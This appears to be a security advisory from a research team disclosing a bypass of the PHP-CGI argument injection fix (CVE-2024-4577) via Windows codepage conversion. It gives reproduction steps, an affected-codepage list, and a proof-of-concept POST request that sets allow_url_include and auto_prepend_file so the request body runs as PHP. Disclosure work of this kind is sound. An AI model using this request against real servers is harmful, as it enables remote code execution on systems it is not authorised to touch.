PHP CGI Parameter Injection Vulnerability

This vulnerability is a bypass of CVE-2024-4577 when using a non-standard configuration of Windows codepages, only obtainable through the registry by pointing the ACP codepage to an OEM codepage. The required configuration is unlikely to occur in a real environment.

Reproduction:

The reproduction environment is similar to CVE-2024-4577.

1. Install xampp on Windows and uncomment the following content in httpd-xampp.conf:

#
# PHP-CGI setup
#
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
    Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>

2. Download the latest PHP installation package.
   https://windows.php.net/downloads/releases/php-8.3.8-nts-Win32-vs16-x64.zip
   After decompression, stop xampp first, and then copy all the decompressed files to C:\xampp\php .
   This is because xampp has not updated the latest version of PHP, so we need to update it manually.

3. Modify the ACP and OEMCP fields under the registry \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage to 437
   Restart the system

4. POC
   https://xxxxurlxxxx.com/?%a8-s%a8

or

POST /?%a8-d%a8+allow_url_include%3d1+%a8-d%a8+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 24
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?> 

Vulnerability principle:

In many code pages, Windows converts some wide characters to ", such as 0xa8 in 437 code page.
When querystring is %a8-s%a8, Windows will first convert %a8 to ", and then remove the quotation marks before and after the command line parameters, that is, remove the quotation marks before and after -s.
Finally, php-cgi.exe extracts only -s from argv, successfully bypassing the patch for CVE-2024-4577.

Affected scope:

Latest version of PHP
Affected code page:
"37"="c_037.nls" ;IBM EBCDIC* U.S./Canada
"1026"="c_1026.nls" ;IBM EBCDIC* Latin-5 Turkey
C_1047.NLS
C_1140.NLS
C_1142.NLS
C_1143.NLS
C_1144.NLS
C_1145.NLS
C_1146.NLS
C_1147.NLS
C_1148.NLS
C_1149.NLS
"20273"="c_20273.nls" ;IBM EBCDIC Germany
"20277"="c_20277.nls" ;IBM EBCDIC Denmark/Norway
"20278"="c_20278.nls" ;IBM EBCDIC Finland/Sweden
"20280"="c_20280.nls" ;IBM EBCDIC Italy
"20284"="c_20284.nls" ;IBM EBCDIC Latin America/Spain
"20285"="c_20285.nls" ;IBM EBCDIC United Kingdom
"20290"="c_20290.nls" ;IBM EBCDIC Japanese Katakana Extended
"20297"="c_20297.nls" ;IBM EBCDIC France
"20420"="c_20420.nls" ;IBM EBCDIC Arabic
"20423"="c_20423.nls" ;IBM EBCDIC Greek
C_20424.NLS
"20833"="c_20833.nls" ;IBM EBCDIC Korean Extended
"20838"="c_20838.nls" ;IBM EBCDIC Thai
"20871"="c_20871.nls" ;IBM EBCDIC Icelandic
"20880"="c_20880.nls" ;IBM EBCDIC Cyrillic
"20905"="c_20905.nls" ;IBM EBCDIC Turkish
C_20924.NLS
"21025"="c_21025.nls" ;IBM EBCDIC Cyrillic
"437"="c_437.nls" ;OEM* United States
"500"="c_500.nls" ;IBM EBCDIC* International
"860"="c_860.nls" ;OEM* Portuguese
"861"="c_861.nls" ;OEM* Icelandic
"862"="c_862.nls" ;OEM Hebrew
"865"="c_865.nls" ;OEM* Nordic
"870"="c_870.nls" ;IBM EBCDIC Latin-2 Multilingual/ROECE
"875"="c_875.nls" ;IBM EBCDIC Greece

I overlooked the difference between ANSI and OEM code pages in my initial analysis.
Windows code pages are divided into ANSI and OEM code pages, where ANSI is used for GUI programs and OEM for console programs.
The previously mentioned affected code pages are all OEM code pages, while the xampp environment uses ANSI code pages for creating subprocesses.

Therefore, changing the ACP field in the registry to 437 in the previous reproduction step is a configuration that is unlikely to occur in a real environment.

But this is still a potential security issue with php-cgi.exe: If a command line program like xampp uses php-cgi.exe in a similar form, problems may still occur.
In addition, there are actually some wide characters in the ANSI code page that can be converted to double quotes too, such as 0x2ba in the 1250 ANSI code page, but Apache limits our data range when expanding the input data to UTF-16. We can only look for wide characters that may be exploited in the range of 0x007f - 0x00ff, which makes 0x2ba unusable. Once other web servers break this limitation, php-cgi.exe may still have problems.

From HuanGMz, s0duku, m4yfly from TianGong Team of Legendsec at Qi'anxin Group